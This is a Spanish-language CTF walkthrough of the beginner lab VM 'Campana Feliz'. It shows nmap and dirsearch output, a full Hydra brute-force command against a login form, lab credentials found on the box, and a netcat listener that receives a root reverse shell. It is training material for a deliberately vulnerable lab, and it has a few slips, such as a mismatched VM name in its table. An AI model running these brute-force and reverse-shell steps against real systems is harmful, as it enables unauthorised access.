CTF-Campana Feliz
Guía en Texto del CTF Campana Feliz de The Hacker Labs
Esta guía incluye la enumeración de puertos, técnicas de recopilación de información, acceso, y escalamiento de privilegios.
Índice
1.1Detalle de la maquina virtual
2.1Conectividad
3.Obtener Acceso - Exploración y Explotación de vulnerabilidades
3.1Validación de los sitios Web
3.3Fuerza Bruta
3.4Accediendo al portal Shell.php
4.Observaciones y Recomendaciones
1. Campana Feliz
1.1 Detalles de la máquina virtual
Campana Feliz es una máquina virtual proporcionada por la plataforma web de CTFs The Hacker Labs. Agradecemos su contribución y apoyo a la comunidad, lo cual nos permite seguir creciendo y aprendiendo sobre este apasionante mundo de la ciberseguridad Ofensiva. Visitalos: The Hacker Labs
Después de descargar la máquina virtual, obtendrás un archivo .ova. Al ejecutarlo, este archivo desplegará la máquina virtual en VMware o VirtualBox, y se le asignará automáticamente una dirección IP de la red en la que estás trabajando.
Vm name | Ip Adress | Creators | Level |
---|---|---|---|
Botana de Calamares | 192.168.1.51 | The Hacker Labs | Principiante |
2.Reconocimiento
2.1 Conectividad
Lo primero que debemos hacer es verificar el acceso al escenario. Para ello, validamos la conectividad desde nuestra máquina virtual hacia el objetivo. Una vez confirmada la conexión, podemos iniciar las pruebas de ethical hacking.
1
2
3
4
5
6
9 (192.168.1.49) 56(84) bytes of data.
64 bytes from 192.168.1.51: icmp_seq=1 ttl=64 time=2.45 ms
--- 192.168.1.51 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.454/2.454/2.454/0.000 ms
2.2 Escaneo y Enumeración
Utilizamos Nmap para recopilar información que podría ser empleada posteriormente en un ataque. En nuestra exploración, buscamos identificar las versiones de los servicios y el sistema operativo del objetivo. El comando utilizado fue nmap -sVC -T4 -p- 192.168.1.51
. Como resultado, observamos que el objetivo tiene los siguientes puertos abiertos: 22
,8088
,10000
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
──(root㉿v4lcyfer)-[/home/kali]
└─# nmap -sVC -p- -T4 192.168.1.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-16 20:00 EST
Nmap scan report for 192.168.1.51
Host is up (0.00099s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 3d:9f:d1:71:81:33:e4:14:8a:78:1c:16:b4:a3:22:da (ECDSA)
|_ 256 74:3f:23:c1:c2:68:1e:b5:72:44:8a:8c:02:e4:e5:02 (ED25519)
8088/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
10000/tcp open ssl/snet-sensor-mgmt?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian/countryName=US
| Subject Alternative Name: DNS:debian, DNS:localhost
| Not valid before: 2024-12-09T08:17:52
|_Not valid after: 2029-12-08T08:17:52
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.0 200 Document follows
| Date: Mon, 17 Feb 2025 01:00:43 GMT
| Server: MiniServ
| Connection: close
| Auth-type: auth-required=1
| Set-Cookie: redirect=1; path=/; secure; httpOnly
| Set-Cookie: testing=1; path=/; secure; httpOnly
| X-Frame-Options: SAMEORIGIN
| Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-src 'self'; child-src 'self'
| X-Content-Type-Options: nosniff
| X-no-links: 1
| Content-type: text/html; Charset=UTF-8
| <!DOCTYPE HTML>
| <html data-bgs="gainsboro" class="session_login">
| <head>
| <meta name="color-scheme" content="only light">
|_ <noscript> <style> html[data-bgs="gainsboro"] { background-color: #d6d6d6; } html[data-bgs="nightRider"] { background-color: #1a1c20; } html[data-bgs="nightRider"] div[data-noscript] { color: #979ba080; } html[data-slider-fixed='1'] { margin-right: 0 !important; } body > div[data-noscript] ~ * { display: none !impo
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.94SVN%T=SSL%I=7%D=2/16%Time=67B28A3D%P=x86_64-pc-linu
SF:x-gnu%r(GetRequest,103A,"HTTP/1\.0\x20200\x20Document\x20follows\r\nDat
SF:e:\x20Mon,\x2017\x20Feb\x202025\x2001:00:43\x20GMT\r\nServer:\x20MiniSe
SF:rv\r\nConnection:\x20close\r\nAuth-type:\x20auth-required=1\r\nSet-Cook
SF:ie:\x20redirect=1;\x20path=/;\x20secure;\x20httpOnly\r\nSet-Cookie:\x20
SF:testing=1;\x20path=/;\x20secure;\x20httpOnly\r\nX-Frame-Options:\x20SAM
SF:EORIGIN\r\nContent-Security-Policy:\x20script-src\x20'self'\x20'unsafe-
SF:inline'\x20'unsafe-eval';\x20frame-src\x20'self';\x20child-src\x20'self
SF:'\r\nX-Content-Type-Options:\x20nosniff\r\nX-no-links:\x201\r\nContent-
SF:type:\x20text/html;\x20Charset=UTF-8\r\n\r\n<!DOCTYPE\x20HTML>\n<html\x
SF:20data-bgs=\"gainsboro\"\x20class=\"session_login\">\n<head>\n\x20<meta
SF:\x20name=\"color-scheme\"\x20content=\"only\x20light\">\n\x20<noscript>
SF:\x20<style>\x20html\[data-bgs=\"gainsboro\"\]\x20{\x20background-color:
SF:\x20#d6d6d6;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20{\x20background
SF:-color:\x20#1a1c20;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20div\[dat
SF:a-noscript\]\x20{\x20color:\x20#979ba080;\x20}\x20html\[data-slider-fix
SF:ed='1'\]\x20{\x20margin-right:\x200\x20!important;\x20}\x20body\x20>\x2
SF:0div\[data-noscript\]\x20~\x20\*\x20{\x20display:\x20none\x20!impo")%r(
SF:HTTPOptions,103A,"HTTP/1\.0\x20200\x20Document\x20follows\r\nDate:\x20M
SF:on,\x2017\x20Feb\x202025\x2001:00:43\x20GMT\r\nServer:\x20MiniServ\r\nC
SF:onnection:\x20close\r\nAuth-type:\x20auth-required=1\r\nSet-Cookie:\x20
SF:redirect=1;\x20path=/;\x20secure;\x20httpOnly\r\nSet-Cookie:\x20testing
SF:=1;\x20path=/;\x20secure;\x20httpOnly\r\nX-Frame-Options:\x20SAMEORIGIN
SF:\r\nContent-Security-Policy:\x20script-src\x20'self'\x20'unsafe-inline'
SF:\x20'unsafe-eval';\x20frame-src\x20'self';\x20child-src\x20'self'\r\nX-
SF:Content-Type-Options:\x20nosniff\r\nX-no-links:\x201\r\nContent-type:\x
SF:20text/html;\x20Charset=UTF-8\r\n\r\n<!DOCTYPE\x20HTML>\n<html\x20data-
SF:bgs=\"gainsboro\"\x20class=\"session_login\">\n<head>\n\x20<meta\x20nam
SF:e=\"color-scheme\"\x20content=\"only\x20light\">\n\x20<noscript>\x20<st
SF:yle>\x20html\[data-bgs=\"gainsboro\"\]\x20{\x20background-color:\x20#d6
SF:d6d6;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20{\x20background-color:
SF:\x20#1a1c20;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20div\[data-noscr
SF:ipt\]\x20{\x20color:\x20#979ba080;\x20}\x20html\[data-slider-fixed='1'\
SF:]\x20{\x20margin-right:\x200\x20!important;\x20}\x20body\x20>\x20div\[d
SF:ata-noscript\]\x20~\x20\*\x20{\x20display:\x20none\x20!impo");
MAC Address: 00:0C:29:75:35:25 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.52 seconds
3. Obtener Acceso - Exploración y Explotación de Vulnerabilidades
3.1 Validación de los sitios web
Dado que el puerto 8080
y 10000
está abierto, procederemos a examinar el contenido del sitio web.
No observamos nada… sospechoso. Revisemos el código de la página.
Encontramos algunos mensajes que, aparentemente, están codificados en Base64. Vamos a decodificarlos.
1
2
3
4
5
6
7
8
9
┌──(root㉿v4lcyfer)-[/home/kali]
└─# echo "Q2FtcGFuYSBzb2JyZSBjYW1wYW5hCgpZIHNvYnJlIGNhbXBhbmEgdW5hCgpBc8OzbWF0ZSBhIGxhIHZlbnRhbmEKClZlcsOhcyBlbCBuacOxbyBlbiBsYSBjdW5hCg==" | base64 -d
Campana sobre campana
Y sobre campana una
Asómate a la ventana
Verás el niño en la cuna
El famoso villancico.
1
2
3
┌──(root㉿v4lcyfer)-[/home/kali]
└─# echo "Q2FtcGFuYSBDYW1wYW5hIENhTXBBTkEgQ2FNcGFOYQo=" | base64 -d
Campana Campana CaMpANA CaMpaNa
Posible pista con un usuario campana.
Vamos a ver la otra pagina del puero 10000
Un webmin, probemos si el usuario campana
se puede autenticar.
Nunca tan fácil.
3.2 Fuzzing al sitio web con Dirsearch
Como ya hemos revisado los sitios web a simple vista, ahora toca analizarlos con mayor detalle mediante fuzzing. Para ello, primero utilizaremos Dirsearch.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿v4lcyfer)-[/home/kali]
└─# dirsearch -u http://192.168.1.51:8088
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_192.168.1.51_8088/_25-02-16_21-53-37.txt
Target: http://192.168.1.51:8088/
[21:53:37] Starting:
[21:53:40] 403 - 279B - /.ht_wsr.txt
[21:53:40] 403 - 279B - /.htaccess.orig
[21:53:40] 403 - 279B - /.htaccess.save
[21:53:40] 403 - 279B - /.htaccess.sample
[21:53:40] 403 - 279B - /.htaccess.bak1
[21:53:40] 403 - 279B - /.htaccess_extra
[21:53:40] 403 - 279B - /.htaccess_orig
[21:53:40] 403 - 279B - /.htaccessBAK
[21:53:40] 403 - 279B - /.htaccessOLD
[21:53:40] 403 - 279B - /.htaccessOLD2
[21:53:40] 403 - 279B - /.htm
[21:53:40] 403 - 279B - /.htaccess_sc
[21:53:40] 403 - 279B - /.html
[21:53:40] 403 - 279B - /.htpasswds
[21:53:40] 403 - 279B - /.httr-oauth
[21:53:40] 403 - 279B - /.htpasswd_test
[21:53:41] 403 - 279B - /.php
[21:54:33] 403 - 279B - /server-status
[21:54:33] 403 - 279B - /server-status/
[21:54:34] 200 - 553B - /shell.php
Task Completed
Hemos obtenido un resultado interesante: /shell.php, Vamos a revisar.
Interesante, otro portal donde podemos autenticarnos.
Como sospechamos que el usuario podría ser campana
, podríamos aplicar fuerza bruta con el diccionario RockYou para probar suerte y con este mensaje de error podemos ayudarnos bastante.
3.3 Fuerza Bruta Shell.php
Desde nuestro Kali, vamos a ejecutar un ataque de fuerza bruta con Hydra.
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# hydra -l campana -P rockyou.txt 192.168.1.51 -s 8088 http-post-form "/shell.php:username=^USER^&password=^PASS^:Username or password invalid"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-16 22:22:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://192.168.1.51:8088/shell.php:username=^USER^&password=^PASS^:Username or password invalid
[8088][http-post-form] host: 192.168.1.51 login: campana password: lovely
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-16 22:22:12
¡Excelente! Hemos obtenido la contraseña: lovely
Y pensarás: ¡Wow! ¿Qué es este súper comando y por qué es tan largo? No es como el Hydra que usaba normalmente… ¿Por qué tantas opciones?
Está bien, Está bien, tranquilo. Aquí vamos con el apartado que mas te gusta.
! Importante: Alto en Teoría
Si tienes estos conceptos claros, puedes adelantarte
Vamos a explicar un poco estos parámetros de Hydra y su función en el ataque.
http-post-form → Indica que el ataque será contra un formulario web que usa el método HTTP POST. “/shell.php:username=^USER^&password=^PASS^:Username or password invalid”: /shell.php → Página donde se envía el formulario (endpoint de autenticación). username=^USER^&password=^PASS^ → Hydra reemplaza ^USER^ por “campana” y ^PASS^ por cada contraseña del diccionario. Username or password invalid → Indica el mensaje de error que la página devuelve cuando las credenciales son incorrectas.
3.4 Accediendo al portal shell.php
Accedemos con las credenciales obtenidas.
Usuario : Camapana Contraseña : Lovely
Observamos que se trata de un ejecutor de comandos. Hagamos algunas pruebas y exploremos sus capacidades.
ls -l
Después de explorar un rato, encontramos información interesante en el directorio /opt.
ls /opt
Ahora observemos el contenido del archivo Webmin.txt, que si bien recordamos tenemos un servicio asi por el puerto 10000
obtenemos las credenciales del webmin.
Usuario : santaclaus Contraseña : FelizNavidad2024
3.5 Accediendo al Webmin
Accesdemos con las credenciales encontradas.
Explorando un poco el dashboard de Webmin, encontramos una sección dentro de ‘Tools’ donde podemos ejecutar comandos. En el cual observamos que tiene el usuario root por defecto.
Si bien acá se termina el reto vamos a obtener una reverse shell para poder ejecutar comandos mas comodamente.
3.6 Reverse shell
Dejamos un puerto en escucha desde nuestro Kali.
1
2
3
root㉿v4lcyfer)-[/home/kali/Downloads]
└─# nc -lvnp 1234
listening on [any] 1234 ...
Ahora desde el Webmin
Y desde el kali ya tenemos un shell del objetivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.51] 37494
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
ls
root.txt
webmin-1.920
webmin-1.920.tar.gz
4. Observaciones y Recomendaciones
Es importante no depender únicamente de una herramienta para obtener información. No está de más comparar los resultados con otras herramientas o incluso probar alguna nueva que nos proporcione un mayor alcance.
Siempre el agradecimiento a The Hacker Labs por el esfuerzo que hacen en la plataforma para que la comunidad pueda seguir aprendiendo en escenarios seguros.
Saludos!
!Hack the life!